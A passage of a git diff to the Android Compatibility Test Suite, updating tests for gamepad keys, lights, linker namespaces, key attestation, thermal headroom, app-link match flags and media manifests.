+                            mExcludedPackages.get(i),
+                            PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                            PackageManager.DONT_KILL_APP);
+                } else {
+                    mPackageManager.setApplicationEnabledSetting(
+                            mExcludedPackages.get(i),
+                            PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                            PackageManager.DONT_KILL_APP);
+                }
+            }
+        });
+    }
+
+    private void addExcludedPackages(Intent intent) {
+        final List<ResolveInfo> list = mPackageManager.queryIntentActivities(intent,
+                PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
+
+        for (int i = 0; i < list.size(); i++) {
+            ResolveInfo info = list.get(i);
+            if (!info.activityInfo.packageName.equals(
+                    mActivityRule.getActivity().getPackageName())) {
+                mExcludedPackages.add(info.activityInfo.packageName);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        // Exclude packages for voice intent
+        addExcludedPackages(mVoiceIntent);
+        // Exclude packages for web intent
+        addExcludedPackages(mWebIntent);
+        // Set packages state to be disabled.
+        setPackageState(false);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Enable the packages.
+        setPackageState(true);
+        mExcludedPackages.clear();
+        super.tearDown();
+    }
+
+    @Test
+    public void testMediaKeys() {
+        testInputEvents(R.raw.google_gamepad_keyevent_media_tests);
+    }
+
+    @Test
+    public void testVolumeKeys() {
+        // {@link PhoneWindowManager} in interceptKeyBeforeDispatching, on TVs platform,
+        // volume keys never go to the foreground app.
+        // Skip the key test for TV platform.
+        assumeFalse("TV platform doesn't send volume keys to app, test should be skipped",
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+        testInputEvents(R.raw.google_gamepad_keyevent_volume_tests);
+    }
+
+    /**
+     * Assistant keyevent is not sent to apps, verify InputAssistantActivity launched and visible.
+     */
+    @Test
+    public void testVoiceAssistantKey() throws Exception {
+        /* Inject assistant key from hid device */
+        testInputEvents(R.raw.google_gamepad_assistkey);
+
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+
+        /* InputAssistantActivity should be visible */
+        final ComponentName inputAssistant =
+                new ComponentName(mActivityRule.getActivity().getPackageName(),
+                        InputAssistantActivity.class.getName());
+        wmStateHelper.waitForValidState(inputAssistant);
+        wmStateHelper.assertActivityDisplayed(inputAssistant);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
index aca19ec..622f7b0 100755
--- a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
@@ -28,7 +28,6 @@
 import android.hardware.lights.LightState;
 import android.hardware.lights.LightsManager;
 
-import androidx.annotation.ColorInt;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
@@ -92,7 +91,7 @@
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session requests to turn a single light on:
             session.requestLights(new Builder()
-                    .setLight(mLights.get(0), STATE_RED)
+                    .addLight(mLights.get(0), STATE_RED)
                     .build());
 
             // Then the light should turn on.
@@ -107,8 +106,8 @@
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session requests to turn two of the lights on:
             session.requestLights(new Builder()
-                    .setLight(mLights.get(0), new LightState(0xffaaaaff))
-                    .setLight(mLights.get(1), new LightState(0xffbbbbff))
+                    .addLight(mLights.get(0), new LightState(0xffaaaaff))
+                    .addLight(mLights.get(1), new LightState(0xffbbbbff))
                     .build());
 
             // Then both should turn on.
@@ -131,7 +130,7 @@
 
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When a session commits changes:
-            session.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
+            session.requestLights(new Builder().addLight(mLights.get(0), STATE_TAN).build());
             // Then the light should turn on.
             assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
 
@@ -150,8 +149,8 @@
                 LightsManager.LightsSession session2 = mManager.openSession()) {
 
             // When session1 and session2 both request the same light:
-            session1.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
-            session2.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
+            session1.requestLights(new Builder().addLight(mLights.get(0), STATE_TAN).build());
+            session2.requestLights(new Builder().addLight(mLights.get(0), STATE_RED).build());
             // Then session1 should win because it was created first.
             assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
 
@@ -173,7 +172,7 @@
 
         try (LightsManager.LightsSession session = mManager.openSession()) {
             // When the session turns a light on:
-            session.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
+            session.requestLights(new Builder().addLight(mLights.get(0), STATE_RED).build());
             // And then the session clears it again:
             session.requestLights(new Builder().clearLight(mLights.get(0)).build());
             // Then the light should turn back off.
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 2bd24b4..9afa958 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -331,33 +331,16 @@
         JNIEnv* env,
         jclass clazz,
         jobjectArray java_system_public_libraries,
-        jobjectArray java_runtime_public_libraries,
-        jobjectArray java_vendor_public_libraries,
-        jobjectArray java_product_public_libraries) {
+        jobjectArray java_runtime_public_libraries) {
   bool success = true;
   std::vector<std::string> errors;
   std::string error_msg;
-  std::unordered_set<std::string> vendor_public_libraries;
-  if (!jobject_array_to_set(env, java_vendor_public_libraries, &vendor_public_libraries,
-                            &error_msg)) {
-    success = false;
-    errors.push_back("Errors in vendor public library file:" + error_msg);
-  }
-
   std::unordered_set<std::string> system_public_libraries;
   if (!jobject_array_to_set(env, java_system_public_libraries, &system_public_libraries,
                             &error_msg)) {
     success = false;
     errors.push_back("Errors in system public library file:" + error_msg);
   }
-
-  std::unordered_set<std::string> product_public_libraries;
-  if (!jobject_array_to_set(env, java_product_public_libraries, &product_public_libraries,
-                            &error_msg)) {
-    success = false;
-    errors.push_back("Errors in product public library file:" + error_msg);
-  }
-
   std::unordered_set<std::string> runtime_public_libraries;
   if (!jobject_array_to_set(env, java_runtime_public_libraries, &runtime_public_libraries,
                             &error_msg)) {
@@ -411,21 +394,6 @@
     success = false;
   }
 
-  // Check the product libraries, if /product/lib exists.
-  if (is_directory(kProductLibraryPath.c_str())) {
-    if (!check_path(env, clazz, kProductLibraryPath, {kProductLibraryPath},
-                    product_public_libraries,
-                    /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
-      success = false;
-    }
-  }
-
-  // Check the vendor libraries.
-  if (!check_path(env, clazz, kVendorLibraryPath, {kVendorLibraryPath}, vendor_public_libraries,
-                  /*test_system_load_library=*/false, /*check_absence=*/true, &errors)) {
-    success = false;
-  }
-
   if (!success) {
     std::string error_str;
     for (const auto& line : errors) {
diff --git a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
index 0cab14b..796fbd8 100644
--- a/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
+++ b/tests/tests/jni/src/android/jni/cts/LinkerNamespacesHelper.java
@@ -189,7 +189,7 @@
 
         Collections.addAll(systemLibs, PUBLIC_SYSTEM_LIBRARIES);
         Collections.addAll(systemLibs, OPTIONAL_SYSTEM_LIBRARIES);
-        // System path could contain public ART libraries on foreign arch. http://b/149852946
+	// System path could contain public ART libraries on foreign arch. http://b/149852946
         if (isForeignArchitecture()) {
             Collections.addAll(systemLibs, PUBLIC_ART_LIBRARIES);
         }
@@ -201,22 +201,20 @@
 
         Collections.addAll(artApexLibs, PUBLIC_ART_LIBRARIES);
 
-        // Check if public.libraries.txt contains libs other than the
-        // public system libs (NDK libs).
+        // Check if /system/etc/public.libraries-company.txt and /product/etc/public.libraries
+        // -company.txt files are well-formed. The libraries however are not loaded for test;
+        // It is done in another test CtsUsesNativeLibraryTest because since Android S those libs
+        // are not available unless they are explicited listed in the app manifest.
 
         List<String> oemLibs = new ArrayList<>();
         String oemLibsError = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, oemLibs);
         if (oemLibsError != null) return oemLibsError;
-        // OEM libs that passed above tests are available to Android app via JNI
-        systemLibs.addAll(oemLibs);
 
         // PRODUCT libs that passed are also available
         List<String> productLibs = new ArrayList<>();
         String productLibsError = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, productLibs);
         if (productLibsError != null) return productLibsError;
 
-        List<String> vendorLibs = readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE));
-
         // Make sure that the libs in grey-list are not exposed to apps. In fact, it
         // would be better for us to run this check against all system libraries which
         // are not NDK libs, but grey-list libs are enough for now since they have been
@@ -226,6 +224,7 @@
         // Note: check for systemLibs isn't needed since we already checked
         // /system/etc/public.libraries.txt against NDK and
         // /system/etc/public.libraries-<company>.txt against lib<name>.<company>.so.
+        List<String> vendorLibs = readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE));
         for (String lib : vendorLibs) {
             if (greyListLibs.contains(lib)) {
                 return "Internal library \"" + lib + "\" must not be available to apps.";
@@ -233,15 +232,11 @@
         }
 
         return runAccessibilityTestImpl(systemLibs.toArray(new String[systemLibs.size()]),
-                                        artApexLibs.toArray(new String[artApexLibs.size()]),
-                                        vendorLibs.toArray(new String[vendorLibs.size()]),
-                                        productLibs.toArray(new String[productLibs.size()]));
+                                        artApexLibs.toArray(new String[artApexLibs.size()]));
     }
 
     private static native String runAccessibilityTestImpl(String[] publicSystemLibs,
-                                                          String[] publicRuntimeLibs,
-                                                          String[] publicVendorLibs,
-                                                          String[] publicProductLibs);
+                                                          String[] publicRuntimeLibs);
 
     private static void invokeIncrementGlobal(Class<?> clazz) throws Exception {
         clazz.getMethod("incrementGlobal").invoke(null);
@@ -387,27 +382,18 @@
     }
 
     public static String runDlopenPublicLibraries() {
-        String error;
-        try {
-            List<String> publicLibs = new ArrayList<>();
-            Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
-            Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
-            error = readExtensionConfigFiles(PUBLIC_CONFIG_DIR, publicLibs);
-            if (error != null) return error;
-            error = readExtensionConfigFiles(PRODUCT_CONFIG_DIR, publicLibs);
-            if (error != null) return error;
-            publicLibs.addAll(readPublicLibrariesFile(new File(VENDOR_CONFIG_FILE)));
-            for (String lib : publicLibs) {
-                String result = LinkerNamespacesHelper.tryDlopen(lib);
-                if (result != null) {
-                    if (error == null) {
-                        error = "";
-                    }
-                    error += result + "\n";
+        String error = null;
+        List<String> publicLibs = new ArrayList<>();
+        Collections.addAll(publicLibs, PUBLIC_SYSTEM_LIBRARIES);
+        Collections.addAll(publicLibs, PUBLIC_ART_LIBRARIES);
+        for (String lib : publicLibs) {
+            String result = LinkerNamespacesHelper.tryDlopen(lib);
+            if (result != null) {
+                if (error == null) {
+                    error = "";
                 }
+                error += result + "\n";
             }
-        } catch (IOException e) {
-            return e.toString();
         }
         return error;
     }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index b2d0e9a..e45cc43 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -157,6 +157,7 @@
         assertEquals(0, parseSystemOsVersion("99.99.100"));
     }
 
+    @RequiresDevice
     public void testEcAttestation() throws Exception {
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
@@ -420,6 +421,7 @@
         }
     }
 
+    @RequiresDevice
     public void testRsaAttestation() throws Exception {
         if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_PC))
             return;
diff --git a/tests/tests/libcoreapievolution/TEST_MAPPING b/tests/tests/libcoreapievolution/TEST_MAPPING
new file mode 100644
index 0000000..40dc97e
--- /dev/null
+++ b/tests/tests/libcoreapievolution/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreApiEvolutionTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/libcorefileio/AndroidManifest.xml b/tests/tests/libcorefileio/AndroidManifest.xml
index 1271089..7ef7c14 100644
--- a/tests/tests/libcorefileio/AndroidManifest.xml
+++ b/tests/tests/libcorefileio/AndroidManifest.xml
@@ -16,17 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.libcorefileio.cts">
+     package="android.libcorefileio.cts">
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
     <application>
         <uses-library android:name="android.test.runner"/>
         <service android:name="android.cts.LockHoldingService"
-                 android:process=":lockHoldingService"
-                 android:permission="android.permission.WRITE_EXTERNAL_STORAGE"
-        />
-        <receiver android:name="android.cts.FileChannelInterProcessLockTest$IntentReceiver">
+             android:process=":lockHoldingService"
+             android:permission="android.permission.WRITE_EXTERNAL_STORAGE"/>
+        <receiver android:name="android.cts.FileChannelInterProcessLockTest$IntentReceiver"
+             android:exported="true">
 
             <intent-filter>
                 <action android:name="android.cts.CtsLibcoreFileIOTestCases">
@@ -37,10 +37,9 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.libcorefileio.cts">
+         android:targetPackage="android.libcorefileio.cts">
         <meta-data android:name="listener"
-                   android:value="com.android.cts.runner.CtsTestRunListener"/>
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/libcorelegacy22/TEST_MAPPING b/tests/tests/libcorelegacy22/TEST_MAPPING
new file mode 100644
index 0000000..acefbee
--- /dev/null
+++ b/tests/tests/libcorelegacy22/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLibcoreLegacy22TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
index 62611fc..ae2dbad 100644
--- a/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
+++ b/tests/tests/libthermalndk/jni/NativeThermalTest.cpp
@@ -25,6 +25,7 @@
 #include <inttypes.h>
 #include <time.h>
 #include <unistd.h>
+#include <math.h>
 #include <vector>
 
 #include <android/thermal.h>
@@ -256,6 +257,41 @@
     return returnJString(env, testThermalStatusListenerDoubleRegistration(env, obj));
 }
 
+static std::optional<std::string> testGetThermalHeadroom(JNIEnv *, jobject) {
+    AThermalTestContext ctx;
+    std::unique_lock<std::mutex> lock(ctx.mMutex);
+
+    ctx.mThermalMgr = AThermal_acquireManager();
+    if (ctx.mThermalMgr == nullptr) {
+        return "AThermal_acquireManager failed";
+    }
+
+    // Fairly light touch test only. More in-depth testing of the underlying
+    // Thermal API functionality is done against the equivalent Java API.
+
+    float headroom = AThermal_getThermalHeadroom(ctx.mThermalMgr, 0);
+    if (isnan(headroom)) {
+        // If the device doesn't support thermal headroom, return early.
+        // This is not a failure.
+        return std::nullopt;
+    }
+
+    if (headroom < 0.0f) {
+        return StringPrintf("Expected non-negative headroom but got %2.2f",
+                headroom);
+    }
+    if (headroom >= 10.0f) {
+        return StringPrintf("Expected reasonably small (<10) headroom but got %2.2f", headroom);
+    }
+
+    AThermal_releaseManager(ctx.mThermalMgr);
+    return std::nullopt;
+}
+
+static jstring nativeTestGetThermalHeadroom(JNIEnv *env, jobject obj) {
+    return returnJString(env, testGetThermalHeadroom(env, obj));
+}
+
 extern "C" JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void*) {
     JNIEnv* env;
     const JNINativeMethod methodTable[] = {
@@ -267,6 +303,8 @@
          (void*)nativeTestThermalStatusRegisterNullListener},
         {"nativeTestThermalStatusListenerDoubleRegistration", "()Ljava/lang/String;",
          (void*)nativeTestThermalStatusListenerDoubleRegistration},
+        {"nativeTestGetThermalHeadroom", "()Ljava/lang/String;",
+         (void*)nativeTestGetThermalHeadroom},
     };
     if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
         return JNI_ERR;
diff --git a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
index ab6d518..634ec56 100644
--- a/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
+++ b/tests/tests/libthermalndk/src/android/thermal/cts/NativeThermalTest.java
@@ -47,6 +47,7 @@
     private native String nativeTestRegisterThermalStatusListener();
     private native String nativeTestThermalStatusRegisterNullListener();
     private native String nativeTestThermalStatusListenerDoubleRegistration();
+    private native String nativeTestGetThermalHeadroom();
 
     @Before
     public void setUp() throws Exception {
@@ -120,6 +121,19 @@
         }
     }
 
+    /**
+     * Test that getThermalHeadroom works
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testGetThermalHeadroom() throws Exception {
+        final String failureMessage = nativeTestGetThermalHeadroom();
+        if (!Strings.isNullOrEmpty(failureMessage)) {
+            fail(failureMessage);
+        }
+    }
+
     static {
         System.loadLibrary("ctsthermal_jni");
     }
diff --git a/tests/tests/match_flags/app/a/AndroidManifest.xml b/tests/tests/match_flags/app/a/AndroidManifest.xml
index 8ad54de..6ad9415 100644
--- a/tests/tests/match_flags/app/a/AndroidManifest.xml
+++ b/tests/tests/match_flags/app/a/AndroidManifest.xml
@@ -16,16 +16,17 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.matchflags.app.uniqueandshared">
+     package="android.matchflags.app.uniqueandshared">
     <application>
         <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.matchflags.cts.app.TestActivity">
+        <activity android:name="android.matchflags.cts.app.TestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.VIEW"/>
                 <category android:name="android.intent.category.BROWSABLE"/>
                 <category android:name="android.intent.category.DEFAULT"/>
                 <data android:scheme="https"
-                      android:host="unique-5gle2bs6woovjn8xabwyb3js01xl0ducci3gd3fpe622h48lyg.com"/>
+                     android:host="unique-5gle2bs6woovjn8xabwyb3js01xl0ducci3gd3fpe622h48lyg.com"/>
             </intent-filter>
             <intent-filter>
                 <action android:name="android.matchflags.app.UNIQUE_ACTION"/>
diff --git a/tests/tests/match_flags/app/b/AndroidManifest.xml b/tests/tests/match_flags/app/b/AndroidManifest.xml
index 6d2c9d0..4a0d85a 100644
--- a/tests/tests/match_flags/app/b/AndroidManifest.xml
+++ b/tests/tests/match_flags/app/b/AndroidManifest.xml
@@ -16,10 +16,11 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.matchflags.app.shared">
+     package="android.matchflags.app.shared">
     <application>
         <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.matchflags.cts.app.TestActivity">
+        <activity android:name="android.matchflags.cts.app.TestActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.matchflags.app.SHARED_ACTION"/>
                 <category android:name="android.intent.category.DEFAULT"/>
diff --git a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
index 77a00f8..119ef87 100644
--- a/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
+++ b/tests/tests/match_flags/src/android/matchflags/cts/MatchFlagTests.java
@@ -25,7 +25,10 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.platform.app.InstrumentationRegistry;
 
-import org.junit.BeforeClass;
+import com.android.compatibility.common.util.ShellUtils;
+
+import org.junit.After;
+import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.TestName;
@@ -38,12 +41,18 @@
             "https://nohandler-02xgpcssu1v7xvpek0skc905glnyu7ihjtza3eufox0mauqyri.com";
     private static final String UNIQUE_URI =
             "https://unique-5gle2bs6woovjn8xabwyb3js01xl0ducci3gd3fpe622h48lyg.com";
+
+    private static final String SHARED_PKG_NAME = "android.matchflags.app.shared";
+    private static final String UNIQUE_AND_SHARED_PKG_NAME =
+            "android.matchflags.app.uniqueandshared";
+
     @Rule
     public TestName name = new TestName();
 
-    @BeforeClass
-    public static void setup() {
-
+    @Before
+    @After
+    public void removeApprovals() {
+        setDomainUserSelectionApproval(false);
     }
 
     @Test
@@ -100,6 +109,17 @@
 
     @Test
     public void startNoBrowserRequireDefault() throws Exception {
+        setDomainUserSelectionApproval(true);
+        startNoBrowserRequireDefaultInternal(true);
+    }
+
+    @Test
+    public void startNoBrowserRequireDefaultUnapproved() throws Exception {
+        setDomainUserSelectionApproval(false);
+        startNoBrowserRequireDefaultInternal(false);
+    }
+
+    private void startNoBrowserRequireDefaultInternal(boolean isDomainApproved) {
         Intent uniqueUriIntent = new Intent(Intent.ACTION_VIEW)
                 .addCategory(Intent.CATEGORY_BROWSABLE)
                 .setData(Uri.parse(UNIQUE_URI));
@@ -115,14 +135,34 @@
             // with require default, we'll get activity not found
             try {
                 startActivity(uniqueUriIntentNoBrowserRequireDefault);
-                fail("Should fail to launch when started with non-browser and require default");
+                if (!isDomainApproved) {
+                    fail("Should fail to launch when started with non-browser and require default"
+                            + " when browser present");
+                }
             } catch (ActivityNotFoundException e) {
                 // hooray!
+                if (isDomainApproved) {
+                    // Domain approval should force only the test Activity to be returned, which
+                    // means it should pass the above flags and launch.
+                    fail("Should succeed launch when started with non-browser and require default"
+                            + " when browser present");
+                }
             }
         } else {
             // with non-browser, but no browser present, we'd get a single result
             // with require default, we'll resolve to that single result
-            startActivity(uniqueUriIntentNoBrowserRequireDefault);
+            try {
+                startActivity(uniqueUriIntentNoBrowserRequireDefault);
+                if (!isDomainApproved) {
+                    fail("Should fail to launch when started with non-browser and require default"
+                            + " when browser not present");
+                }
+            } catch (ActivityNotFoundException e) {
+                if (isDomainApproved) {
+                    fail("Should succeed launch when started with non-browser and require default"
+                            + " when browser not present");
+                }
+            }
         }
     }
 
@@ -141,4 +181,9 @@
                 onlyBrowserIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
     }
 
+    private static void setDomainUserSelectionApproval(boolean approved) {
+        String template = "pm set-app-links-user-selection --package %s --user all %b all";
+        ShellUtils.runShellCommand(template, SHARED_PKG_NAME, approved);
+        ShellUtils.runShellCommand(template, UNIQUE_AND_SHARED_PKG_NAME, approved);
+    }
 }
diff --git a/tests/tests/media/Android.bp b/tests/tests/media/Android.bp
index d2963c6..61a2596 100644
--- a/tests/tests/media/Android.bp
+++ b/tests/tests/media/Android.bp
@@ -29,6 +29,10 @@
         "src/android/media/cts/CodecImage.java",
         "src/android/media/cts/YUVImage.java",
         "src/android/media/cts/CodecUtils.java",
+        "src/android/media/cts/CodecState.java",
+        "src/android/media/cts/MediaCodecTunneledPlayer.java",
+        "src/android/media/cts/MediaTimeProvider.java",
+        "src/android/media/cts/NonBlockingAudioTrack.java",
     ],
     sdk_version: "current",
 }
@@ -74,7 +78,10 @@
         "-0 .ota",
         "-0 .mxmf",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
     // This test uses private APIs
     //sdk_version: "current",
     platform_apis: true,
diff --git a/tests/tests/media/AndroidManifest.xml b/tests/tests/media/AndroidManifest.xml
index c24f26b..a94a1b4 100644
--- a/tests/tests/media/AndroidManifest.xml
+++ b/tests/tests/media/AndroidManifest.xml
@@ -15,153 +15,170 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.media.cts"
-    android:targetSandboxVersion="2">
+     package="android.media.cts"
+     android:targetSandboxVersion="2">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
     <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
-    <uses-permission android:name="android.permission.RECORD_AUDIO" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER" />
-    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+    <uses-permission android:name="android.permission.WAKE_LOCK"/>
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.SET_VOLUME_KEY_LONG_PRESS_LISTENER"/>
+    <uses-permission android:name="android.permission.SET_MEDIA_KEY_LISTENER"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
     <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
-    <uses-permission android:name="android.permission.VIBRATE" />
+    <uses-permission android:name="android.permission.VIBRATE"/>
 
-    <permission android:name="android.media.cts" android:protectionLevel="normal" />
+    <permission android:name="android.media.cts"
+         android:protectionLevel="normal"/>
 
-    <application
-        android:networkSecurityConfig="@xml/network_security_config"
-        android:requestLegacyExternalStorage="true"
-        android:largeHeap="true">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+    <application android:networkSecurityConfig="@xml/network_security_config"
+         android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
         <activity android:name="android.media.cts.MediaProjectionActivity"
-            android:label="MediaProjectionActivity"
-            android:screenOrientation="locked"/>
+             android:label="MediaProjectionActivity"
+             android:screenOrientation="locked"/>
         <activity android:name="android.media.cts.AudioManagerStub"
-            android:label="AudioManagerStub"/>
+             android:label="AudioManagerStub"/>
         <activity android:name="android.media.cts.AudioManagerStubHelper"
-            android:label="AudioManagerStubHelper"/>
+             android:label="AudioManagerStubHelper"/>
         <activity android:name="android.media.cts.DecodeAccuracyTestActivity"
-            android:label="DecodeAccuracyTestActivity"
-            android:screenOrientation="locked"
-            android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|screenSize|navigation">
+             android:label="DecodeAccuracyTestActivity"
+             android:screenOrientation="locked"
+             android:configChanges="mcc|mnc|keyboard|keyboardHidden|orientation|screenSize|navigation"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MediaSessionTestActivity"
-                  android:label="MediaSessionTestActivity"
-                  android:screenOrientation="nosensor"
-                  android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:label="MediaSessionTestActivity"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MediaStubActivity"
-            android:label="MediaStubActivity"
-            android:screenOrientation="nosensor"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:label="MediaStubActivity"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.media.cts.MediaStubActivity2"
-            android:label="MediaStubActivity2"
-            android:screenOrientation="nosensor"
-            android:configChanges="keyboard|keyboardHidden|orientation|screenSize">
+             android:label="MediaStubActivity2"
+             android:screenOrientation="nosensor"
+             android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
